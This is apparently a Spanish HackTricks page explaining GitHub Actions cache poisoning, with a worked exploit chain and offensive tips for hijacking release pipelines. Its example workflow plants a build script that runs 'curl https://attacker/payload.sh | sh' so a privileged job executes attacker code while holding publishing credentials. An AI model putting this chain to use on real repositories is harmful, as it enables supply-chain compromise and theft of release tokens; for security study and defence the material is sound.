GH Actions - Cache Poisoning
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción general
El cache de GitHub Actions es global para un repositorio. Cualquier workflow que conozca una cache key (or restore-keys) puede poblar esa entrada, incluso si el job solo tiene permissions: contents: read. GitHub no segrega las caches por workflow, tipo de evento o nivel de confianza, por lo que un atacante que comprometa un job de bajos privilegios puede poison una cache que un job de release privilegiado restaurará más tarde. Así fue como la compromisión de Ultralytics pivotó desde un workflow pull_request_target hacia la pipeline de publicación en PyPI.
Primitivas de ataque
actions/cacheexpone tanto operaciones de restore como de save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). La llamada save está permitida para cualquier job excepto los workflowspull_requestverdaderamente no confiables disparados desde forks.- Las entradas de cache se identifican únicamente por la
key. Ampliasrestore-keysfacilitan inyectar payloads porque el atacante solo necesita colisionar con un prefijo. - El filesystem cacheado se restaura verbatim. Si la cache contiene scripts o binarios que se ejecutan posteriormente, el atacante controla esa ruta de ejecución.
Cadena de explotación de ejemplo
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Workflow privilegiado restauró y ejecutó la poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
El segundo job ahora ejecuta código controlado por el atacante mientras posee credenciales de release (PyPI tokens, PATs, cloud deploy keys, etc.).
Consejos prácticos de explotación
- Apunta a workflows desencadenados por
pull_request_target,issue_commento comandos de bots que aún guardan caches; GitHub permite que sobrescriban claves a nivel de repositorio incluso cuando el runner solo tiene acceso de lectura al repo. - Busca claves de cache deterministas reutilizadas a través de límites de confianza (por ejemplo,
pip-${{ hashFiles('poetry.lock') }}) orestore-keyspermisivos, y guarda tu tarball malicioso antes de que se ejecute el workflow privilegiado. - Monitorea los logs en busca de entradas
Cache savedo añade tu propio paso de guardado de cache para que el próximo job de release restaure la carga útil y ejecute los scripts o binarios troyanizados.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

